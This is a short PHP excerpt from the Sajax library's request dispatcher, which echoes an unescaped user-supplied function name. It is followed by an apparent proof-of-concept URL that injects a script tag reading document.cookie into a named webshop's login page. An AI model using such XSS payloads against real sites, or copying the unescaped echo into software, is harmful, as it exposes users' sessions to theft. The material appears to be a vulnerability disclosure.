if ($mode == "get") {
     // Bust cache in the head
     header ("Expires: Mon, 26 Jul 1997 05:00:00 GMT");    // Date in the past
     header ("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
     // always modified
     header ("Cache-Control: no-cache, must-revalidate");  // HTTP/1.1
     header ("Pragma: no-cache");                          // HTTP/1.0
     $func_name = $_GET["rs"];
     if (! empty($_GET["rsargs"]))   
      $args = $_GET["rsargs"];
     else
      $args = array();
    }
    else {
     $func_name = $_POST["rs"];
     if (! empty($_POST["rsargs"]))   
      $args = $_POST["rsargs"];
     else
      $args = array();
    }
      
    if (! in_array($func_name, $sajax_export_list))
     echo "-:$func_name not callable";

http://mu.smiley.lv/webshop/login.php?rs=<script>alert(document.cookie)</script>